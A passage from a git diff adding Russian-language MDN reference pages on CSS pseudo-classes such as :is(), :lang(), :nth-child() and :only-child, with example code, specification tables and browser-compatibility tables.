+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+
+ +

... можно заменить на:

+ +
/* 3-уровневые (или более) неупорядоченные списки используют свойство square */
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) ul,
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) menu,
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}
+ +

Упрощение селекторов разделов

+ +

Псевдо-класс :is()  особенно полезен  при работе с заголовками и разделами HTML5. C тех пор как {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} обычно используют вместе, без :is(), стилизовать их, чтобы они соответствовали друг друг, может быть не просто.

+ +

К примеру, без :is(), стилизовать все {{HTMLElement("h1")}} элементы на разных уровнях может бы очень сложно:

+ +
/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+/* ... даже не смей думать об этом! */
+
+ +

Используя :is(), как видно, это гораздо легче:

+ +
/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+:is(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+ +

Как избежать аннулирования списка селекторов

+ +

В отличие от списка селекторов, псевдо-класс :is() не аннулируется, когда из селекторов, попавший туда не поддерживается бразуером.

+ +
:is(:valid, :unsupported) {
+  ...
+}
+ +

Будет по прежнему определяться правильно и соответствовать :valid даже в браузерах, которые не поддерживают :unsupported, в то время как:

+ +
:valid, :unsupported {
+  ...
+}
+ +

Будет проигнорировано бразуерами, которые не поддерживают :unsupported даже если они поддерживают :valid.

+ +

Разница между :is() и :where()

+ +

Разница между этими двумя, в том что :is() учитывает спецификацию общего селектора (он принимает специфику своего самого конкретного аргумента), в то же время :where() имеет значение спецификации равное 0. Это можно увидеть на примере на странице документации :where() .

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS4 Selectors", "#matches-pseudo", ":is()")}}{{Spec2("CSS4 Selectors")}}Initial definition
+ +

Браузерная совместимость

+ + + +

{{Compat("css.selectors.is")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_lang/index.html b/files/ru/web/css/_colon_lang/index.html new file mode 100644 index 0000000000..69b48325b0 --- /dev/null +++ b/files/ru/web/css/_colon_lang/index.html @@ -0,0 +1,100 @@ +--- +title: ':lang()' +slug: 'Web/CSS/:lang' +tags: + - CSS + - Псевдо-класс +translation_of: 'Web/CSS/:lang' +--- +
{{CSSRef}}
+ +

Псевдо-класс CSS :lang() выбирает элементы основываясь на языке, на котором они определены.

+ +
/* Выбирает все <p>, что на английском (en) */
+p:lang(en) {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}
+ +
+

Примечание: В HTML язык определяется комбинацией атрибута {{htmlattrxref("lang")}}, элемента {{HTMLElement("meta")}} и иногда информацией из протокола (такой, как заголовки HTTP ). Для других типов документов могут быть другие методы определения языка.

+
+ +

Синтаксис

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Параметр

+ +
+
<language-code>
+
{{cssxref("<string>")}}, представляющая язык, который вы хотите отобрать. Допустимые значения указаны в документации HTML.
+
+ +

Пример

+ +

In this example, the :lang() pseudo-class is used to match the parents of quote elements ({{htmlElement("q")}}) using child combinators. Note that this doesn't illustrate the only way to do this, and that the best method to use depends on the type of document. Also note that {{glossary("Unicode")}} values are used to specify some of the special quote characters.

+ +

HTML

+ +
<div lang="en"><q>This English quote has a <q>nested</q> quote inside.</q></div>
+<div lang="fr"><q>This French quote has a <q>nested</q> quote inside.</q></div>
+<div lang="de"><q>This German quote has a <q>nested</q> quote inside.</q></div>
+
+ +

CSS

+ +
:lang(en) > q { quotes: '\201C' '\201D' '\2018' '\2019'; }
+:lang(fr) > q { quotes: '« ' ' »'; }
+:lang(de) > q { quotes: '»' '«' '\2039' '\203A'; }
+
+ +

Результат

+ +

{{EmbedLiveSample('Example', 350)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#lang-pseudo', ':lang()')}}{{Spec2('CSS4 Selectors')}}Adds wildcard language matching and comma-separated list of languages.
{{SpecName('CSS3 Selectors', '#lang-pseudo', ':lang()')}}{{Spec2('CSS3 Selectors')}}No significant change.
{{SpecName('CSS2.1', 'selector.html#lang', ':lang()')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.selectors.lang")}}

+
+ +

Также смотрите

+ + diff --git a/files/ru/web/css/_colon_last-child/index.html b/files/ru/web/css/_colon_last-child/index.html new file mode 100644 index 0000000000..cc691def67 --- /dev/null +++ b/files/ru/web/css/_colon_last-child/index.html @@ -0,0 +1,114 @@ +--- +title: ':last-child' +slug: 'Web/CSS/:last-child' +translation_of: 'Web/CSS/:last-child' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдо-класс :last-child находит любой элемент, являющийся последним в его родителе.

+ +

Синтаксис

+ +
element:last-child { style properties }
+ +

Пример

+ +

HTML

+ +
<ul>
+  <li>Этот элемент не лаймовый.</li>
+  <li>И этот тоже.</li>
+  <li>А этот да! :)</li>
+</ul>
+ +

CSS

+ +
li:last-child {
+  background-color: lime;
+}
+ +

{{EmbedLiveSample('Пример', '100%', 100)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}9.09.53.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("1")}}9.010.03.2
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_last-of-type/index.html b/files/ru/web/css/_colon_last-of-type/index.html new file mode 100644 index 0000000000..d0c82884e0 --- /dev/null +++ b/files/ru/web/css/_colon_last-of-type/index.html @@ -0,0 +1,111 @@ +--- +title: ':last-of-type' +slug: 'Web/CSS/:last-of-type' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:last-of-type' +--- +
{{CSSRef}}
+ +

CSS псевдокласс :last-of-type находит последнего потомка с заданным тегом в списке детей родительского элемента.

+ +
/* Выбирает <p>, являющийся последним элементом
+   среди элементов своего типа среди своих соседей */
+p:last-of-type {
+  color: lime;
+}
+ +
+

Примечание: В первоначальном определении выбранный элемент должен иметь родителя. Начиная с Selectors Level 4, это не является обязательным.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

Стилизация последнего параграфа

+ +

HTML

+ +
<h2>Заголовок</h2>
+<p>Параграф 1</p>
+<p>Параграф 2</p>
+ +

CSS

+ +
p:last-of-type {
+  color: red;
+  font-style: italic;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Стилизация_последнего_параграфа')}}

+ +

Вложенные элементы

+ +

Этот пример показывает как можно обратиться к вложенным элементам. Заметим, что в случаях когда не указано ни одного простого селектора, подразумевается универсальный селектор (*).

+ +

HTML

+ +
<article>
+  <div>Этот `div` первый.</div>
+  <div>Этот <span>вложенный `span` является последним</span>!</div>
+  <div>Этот <em>вложенный `em` первый</em>, а этот <em>вложенный `em` последний</em>!</div>
+  <b>Этот `b` будет выбран!</b>
+  <div>Это последний `div`!</div>
+</article>
+
+ +

CSS

+ +
article :last-of-type {
+  background-color: pink;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Вложенные_элементы', 500)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#last-of-type-pseudo', ':last-of-type')}}{{Spec2('CSS4 Selectors')}}Теперь выбранные элементы не обязательно должны иметь родителя.
{{SpecName('CSS3 Selectors', '#last-of-type-pseudo', ':last-of-type')}}{{Spec2('CSS3 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.last-of-type")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html new file mode 100644 index 0000000000..aa35096aff --- /dev/null +++ b/files/ru/web/css/_colon_left/index.html @@ -0,0 +1,72 @@ +--- +title: ':left' +slug: 'Web/CSS/:left' +tags: + - Верстка + - Псевдоклассы +translation_of: 'Web/CSS/:left' +--- +
{{ CSSRef() }}
+ +

Псевдокласс CSS :left используется с at-правилом {{cssxref("@page")}}, предоставляет все левые страницы печатного документа.

+ +
/* Выбирает все левые страницы при печати */
+@page :left {
+  margin: 2in 3in;
+}
+ +

Является ли данная страница "левой" или "правой" определяется основным направлением документа. Например, если первая страница имеет основное направление слева направо, то это будет страница с page {{Cssxref(":right")}} ; если первая страница имеет основное направление справа налево, то это будет страница с page :left.

+ +
+

Примечание: Этот псевдокласс можно использовать только для изменений следующих свойств элементов страницы: {{ Cssxref("margin") }}, {{ Cssxref("padding") }}, {{ Cssxref("border") }}, и{{ Cssxref("background") }} . Все остальные свойства будут игнорироваться; изменены будут только свойства элементов страницы без изменения содержимого документа.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Выставляем отступы для левых страниц

+ +
@page :left {
+  margin: 2in 3in;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{ SpecName('CSS3 Paged Media', '#left-right-first', ':left') }}{{ Spec2('CSS3 Paged Media') }}Без изменения
{{ SpecName('CSS2.1', 'page.html#page-selectors', ':left') }}{{ Spec2('CSS2.1') }}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.left")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_link/index.html b/files/ru/web/css/_colon_link/index.html new file mode 100644 index 0000000000..76b0a4d894 --- /dev/null +++ b/files/ru/web/css/_colon_link/index.html @@ -0,0 +1,116 @@ +--- +title: ':link' +slug: 'Web/CSS/:link' +tags: + - Псевдо-классы +translation_of: 'Web/CSS/:link' +--- +

{{ CSSRef() }}

+ +

Описание

+ +

CSS псевдо-класс :link позволяет вам выбирать ссылки внутри элементов. Он выберет любую ссылку, которая ещё не была посещена, даже те, которые уже стилизованы, используя селекторы с другими, относящимися к ссылкам, псевдо-классам типа {{ cssxref(":hover") }}, {{ cssxref(":active") }} или {{ cssxref(":visited") }}. Чтобы стилизовать ссылки должным образом, вам нужно вставлять правила :link до других, как определено LVHA-порядком: :link — :visited — :hover — :active. Псевдо-класс {{ cssxref(":focus") }} обычно размещается прямо перед или сразу после :hover, в зависимости от ожидаемого эффекта.

+ +
+

Замечание: Используйте {{cssxref(":any-link")}} чтобы выбрать ссылку, независимо от того, была она посещена или нет.

+
+ +

Примеры

+ +
a:link {color: slategray;}
+.external:link {background-color: lightblue;}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}{{ Spec2('HTML WHATWG') }}
{{ SpecName('CSS4 Selectors', '#link', ':link') }}{{ Spec2('CSS4 Selectors') }}Без изменений.
{{ SpecName('CSS3 Selectors', '#link', ':link') }}{{ Spec2('CSS3 Selectors') }}Без изменений
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}{{ Spec2('CSS2.1') }}Появилось ограничение применять только для элемента {{ HTMLElement("a") }}.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}{{ Spec2('CSS1') }}Изначальное определение.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1{{ CompatGeckoDesktop("1") }}3.03.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка1.5{{ CompatGeckoMobile("1.9.2") }}{{ CompatUnknown() }}{{ CompatUnknown() }}3.2
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_not/index.html b/files/ru/web/css/_colon_not/index.html new file mode 100644 index 0000000000..26721ae7b7 --- /dev/null +++ b/files/ru/web/css/_colon_not/index.html @@ -0,0 +1,132 @@ +--- +title: ':not()' +slug: 'Web/CSS/:not' +translation_of: 'Web/CSS/:not' +--- +
{{ CSSRef() }}
+ +

Описание

+ +

Отрицательный CSS псевдо-класс, :not(X) - функция, принимающая простой селектор X в качестве аргумента. Он находит элементы, не соответствующие селектору. X не должен содержать других отрицательных селекторов.

+ +
Замечания: + + +
+ +

Синтаксис

+ +
:not(selector) { style properties }
+ +

Пример

+ +
p:not(.classy) { color: red; }
+body :not(p) { color: green; }
+ +

CSS выше и HTML ниже...

+ +
<p>Некоторый текст.</p>
+<p class="classy">Какой-то другой текст.</p>
+<span>Ещё текст<span>
+
+ +

Выведет это:

+ +

{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}{{ Spec2('CSS4 Selectors') }}Аргумент расширен до поддержки нескольких непростых селекторов.
{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}{{ Spec2('CSS3 Selectors') }}Изначальное определение.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{ CompatGeckoDesktop("1") }}9.09.53.2
Расширенные аргументы{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{ CompatGeckoMobile("1") }}9.010.03.2
Расширенные аргументы{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

 

diff --git a/files/ru/web/css/_colon_nth-child/index.html b/files/ru/web/css/_colon_nth-child/index.html new file mode 100644 index 0000000000..140087f56a --- /dev/null +++ b/files/ru/web/css/_colon_nth-child/index.html @@ -0,0 +1,184 @@ +--- +title: ':nth-child' +slug: 'Web/CSS/:nth-child' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:nth-child' +--- +
{{CSSRef}}
+ +

CSS псевдокласс  :nth-child() находит один или более элементов, основываясь на их позиции среди группы соседних элементов.

+ +
/* Выбирает каждый четвёртый элемент
+   среди любой группы соседних элементов */
+:nth-child(4n) {
+  color: lime;
+}
+
+ +

Синтаксис

+ +

Псевдокласс nth-child указывается с единственным аргументом, описывающим паттерн для выбирания элементов.

+ +

Ключевые слова

+ +
+
odd
+
Описывает элементы среди группы соседних с нечётными номерами 1, 3, 5, и т. д.
+
even
+
Описывает элементы среди группы соседних с чётными номерами 2, 4, 6, и т. д.
+
+ +

Функциональная запись

+ +
+
<An+B>
+
Описывает элементы среди группы соседних с номерами, соответствующими паттерну An+B (для каждого целого числа n >= 0). Нумерация элементов начинается с единицы. Значения A и B должны быть {{cssxref("<integer>")}}s.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Примеры селекторов

+ +
+
tr:nth-child(odd) или tr:nth-child(2n+1)
+
Описывает нечётные строки HTML таблицы: 1, 3, 5, и т. д.
+
tr:nth-child(even) or tr:nth-child(2n)
+
Описывает чётные строки HTML таблицы: 2, 4, 6, и т. д.
+
:nth-child(7)
+
Описывает седьмой элемент.
+
:nth-child(5n)
+
Описывает элементы с номерами 5, 10, 15, и т. д.
+
:nth-child(3n+4)
+
Описывает элементы с номерами 4, 7, 10, 13, и т. д.
+
:nth-child(-n+3)
+
Описывает первые три элемента среди группы соседних элементов.
+
p:nth-child(n)
+
Описывает каждый элемент<p> среди группы соседних элементов. Эквивалентно простому селектору p.
+
p:nth-child(1) или p:nth-child(0n+1)
+
Описывает каждый элемент <p>, являющийся первым среди группы соседних элементов. Эквивалентно селектору {{cssxref(":first-child")}}.
+
+ +

Подробный пример

+ +

HTML

+ +
<h3><code>span:nth-child(2n+1)</code>, БЕЗ элемента
+   <code>&lt;em&gt;</code> в группе элементов-потомков.</h3>
+<p>Элементы 1, 3, 5 и 7 будут выбраны.</p>
+<div class="first">
+  <span>Span 1!</span>
+  <span>Span 2</span>
+  <span>Span 3!</span>
+  <span>Span 4</span>
+  <span>Span 5!</span>
+  <span>Span 6</span>
+  <span>Span 7!</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-child(2n+1)</code>, С элементом
+   <code>&lt;em&gt;</code> в группе элементов-потомков.</h3>
+<p>Элементы 1, 5 и 7 будут выбраны.<br>
+   3 используется в подсчёте потому что это элемент-потомок,
+   но он не выбран потому что он не <code>&lt;span&gt;</code>.</p>
+<div class="second">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>Это `em`.</em>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-of-type(2n+1)</code>, С элементом
+   <code>&lt;em&gt;</code> в группе элементов-потомков.</h3>
+<p>Элементы 1, 4, 6 и 8 будут выбраны.<br>
+   3 не используется в подсчёте и не выбран, потому что это <code>&lt;em&gt;</code>,
+   но не <code>&lt;span&gt;</code>, а <code>nth-of-type</code> выбирает только
+   потомков этого типа. Элемент <code>&lt;em&gt;</code> полностью пропускается и игнорируется.</p>
+<div class="third">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>Это `em`.</em>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+</div>
+
+ +

CSS

+ +
html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Подробный_пример', 550, 550)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS4 Selectors')}}Добавление синтаксиса of <selector>, также теперь выбранные элементы не обязательно должны иметь родителя.
{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS3 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.nth-child")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_nth-last-child/index.html b/files/ru/web/css/_colon_nth-last-child/index.html new file mode 100644 index 0000000000..c000427aa8 --- /dev/null +++ b/files/ru/web/css/_colon_nth-last-child/index.html @@ -0,0 +1,151 @@ +--- +title: ':nth-last-child' +slug: 'Web/CSS/:nth-last-child' +tags: + - Псевдоклассы +translation_of: 'Web/CSS/:nth-last-child' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдокласс :nth-last-child(an+b) находит элемент, имеющий an+b-1 потомков после данной позиции в дереве документа, значение для n может быть положительным или нулевым, а также имеющий родительский элемент.

+ +

В результате, он функционирует так же, как и {{Cssxref(":nth-child")}}, кроме того, что выбирает элементы, считая в обратном порядке, с конца списка потомков, не с начала.

+ +

Смотрите {{Cssxref(":nth-child")}} для более тщательного описания синтаксиса его аргументов.

+ +

Синтаксис

+ +
element:nth-last-child(an + b) {стили }
+
+ +

Примеры

+ +

Пример селекторов

+ +
+
tr:nth-last-child(-n+4)
+
Находит последние 4 строки HTML таблицы.
+
span:nth-last-child(even)
+
Ищет чётные элементы в родительском элементе, начиная с последнего элемента и работая задом наперёд.
+
+ +

Использование

+ +

Этот CSS ...

+ +
table {
+  border: 1px solid blue;
+}
+tr:nth-last-child(-n+3) { /* последние 3 потомка */
+  background-color: lime;
+}
+
+ +

... с этим HTML ...

+ +
<table>
+  <tbody>
+    <tr>
+      <td>Первая</td>
+    </tr>
+    <tr>
+       <td>Вторая строка</td>
+    </tr>
+    <tr>
+       <td>Третья</td>
+    </tr>
+    <tr>
+       <td>Четвёртая</td>
+    </tr>
+    <tr>
+       <td>Пятая строчка</td>
+    </tr>
+  </tbody>
+</table>
+
+ +

... будет выглядеть, как :

+ +

{{EmbedLiveSample('Примеры', '100%', 150)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка4.0{{CompatGeckoDesktop("1.9.1")}}9.09.53.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("1.9.1")}}9.010.03.2
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_nth-last-of-type/index.html b/files/ru/web/css/_colon_nth-last-of-type/index.html new file mode 100644 index 0000000000..7b3eb9728f --- /dev/null +++ b/files/ru/web/css/_colon_nth-last-of-type/index.html @@ -0,0 +1,95 @@ +--- +title: ':nth-last-of-type()' +slug: 'Web/CSS/:nth-last-of-type' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:nth-last-of-type' +--- +
{{CSSRef}}
+ +

CSS псевдокласс :nth-last-of-type() находит один или более элементов с заданным тегом, основываясь на их позиции среди группы соседних элементов, считая с конца.

+ +
/* Выбирает каждый четвёртый элемент <p>
+   среди любой группы соседних элементов,
+   отсчёт начинается с последнего элемента */
+p:nth-last-of-type(4n) {
+  color: lime;
+}
+ +
+

Примечание: Этот псевдокласс практически такой же как {{Cssxref(":nth-of-type")}}, за исключением того, что счёт элементов производится в обратном порядке начиная с конца, а не в обычном порядке с начала.

+
+ +

Синтаксис

+ +

Псевдокласс nth-last-of-type указывается с единственным аргументом, описывающим паттерн для выбирания элементов, начиная с конца.

+ +

Более детальное описание синтаксиса может быть найдено на странице псевдокласса {{Cssxref(":nth-last-child")}}.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

HTML

+ +
<div>
+  <span>Это span.</span>
+  <span>Это другой span.</span>
+  <em>Это текст будет подчёркнут.</em>
+  <span>Круто, этот span лаймовый!!!</span>
+  <strike>Это вообще не span.</strike>
+  <span>Это ещё один последний span.</span>
+</div>
+ +

CSS

+ +
span:nth-last-of-type(2) {
+  background-color: lime;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}{{Spec2('CSS4 Selectors')}}Теперь выбранные элементы не обязательно должны иметь родителя.
{{SpecName('CSS3 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}{{Spec2('CSS3 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.nth-last-of-type")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_nth-of-type/index.html b/files/ru/web/css/_colon_nth-of-type/index.html new file mode 100644 index 0000000000..b58d49df8a --- /dev/null +++ b/files/ru/web/css/_colon_nth-of-type/index.html @@ -0,0 +1,104 @@ +--- +title: ':nth-of-type' +slug: 'Web/CSS/:nth-of-type' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоклассы +translation_of: 'Web/CSS/:nth-of-type' +--- +
{{CSSRef}}
+ +

CSS псевдокласс :nth-of-type() находит один или более элементов с заданным тегом, основываясь на их позиции среди группы соседних элементов.

+ +
/* Выбирает каждый четвёртый элемент <p>
+   среди любой группы соседних элементов. */
+p:nth-of-type(4n) {
+  color: lime;
+}
+ +

Синтаксис

+ +

Псевдокласс nth-of-type указывается с единственным аргументом, описывающим паттерн для выбора элементов.

+ +

Более детальное описание синтаксиса может быть найдено на странице псевдокласса {{Cssxref(":nth-child")}}.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Базовый пример

+ +

HTML

+ +
<div>
+  <div>Этот элемент не учитывается.</div>
+  <p>Первый параграф.</p>
+  <p>Второй параграф.</p>
+  <div>Этот элемент не учитывается.</div>
+  <p>Третий параграф.</p>
+  <p>Четвёртый параграф.</p>
+</div>
+ +

CSS

+ +
/* Нечётные параграфы */
+p:nth-of-type(2n+1) {
+  color: red;
+}
+
+/* Чётные параграфы */
+p:nth-of-type(2n) {
+  color: blue;
+}
+
+/* Первый параграф */
+p:nth-of-type(1) {
+  font-weight: bold;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Базовый_пример', 250, 200)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}{{Spec2('CSS4 Selectors')}}Теперь выбранные элементы не обязательно должны иметь родителя.
{{SpecName('CSS3 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}{{Spec2('CSS3 Selectors')}}Изначальное определение.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.nth-of-type")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_only-child/index.html b/files/ru/web/css/_colon_only-child/index.html new file mode 100644 index 0000000000..2eb10c8a88 --- /dev/null +++ b/files/ru/web/css/_colon_only-child/index.html @@ -0,0 +1,107 @@ +--- +title: ':only-child' +slug: 'Web/CSS/:only-child' +tags: + - Псевдоклассы +translation_of: 'Web/CSS/:only-child' +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS псевдокласс :only-child находит любой элемент, являющийся единственным потомком родителя. Это тоже, что и :first-child:last-child или :nth-child(1):nth-last-child(1), но с меньшей специфичностью.

+ +

Синтаксис

+ +
parent child:only-child {
+  property: value;
+}
+
+ +

Примеры

+ +

Простой пример

+ +
span:only-child {
+  color: red;
+}
+
+ +
<div>
+  <span>Этот span единственный ребёнок своего папы:(</span>
+</div>
+
+<div>
+  <span>Этот span один из потомков родителя</span>
+  <span>Этот span один из детей отца</span>
+</div>
+
+ +

Результат

+ +

{{EmbedLiveSample('Простой_пример', '100%', 60)}}

+ +

Пример со списком

+ +
li li {
+  list-style-type: disc;
+}
+li:only-child {
+  color: #6699ff;
+  font-style: italic;
+  list-style-type: square;
+}
+ +
<ol>
+  <li>Первый
+    <ul>
+      <li>Это единственный ребёнок
+    </ul>
+  </li>
+  <li>Второй
+    <ul>
+      <li>Этот список с двумя элементами
+      <li>Этот список с двумя элементами
+    </ul>
+  </li>
+  <li>Третий
+    <ul>
+      <li>Этот список с тремя элементами
+      <li>Этот список с тремя элементами
+      <li>Этот список с тремя элементами
+    </ul>
+  </li>
+<ol>
+
+ +

Результат

+ +

{{EmbedLiveSample('Пример_со_списком', '100%', 220)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#only-child-pseudo', ':only-child')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#only-child-pseudo', ':only-child')}}{{Spec2('CSS3 Selectors')}}Изначальное определение
+ +

Поддержка браузерами

+ +
{{Compat("css.selectors.only-child")}}
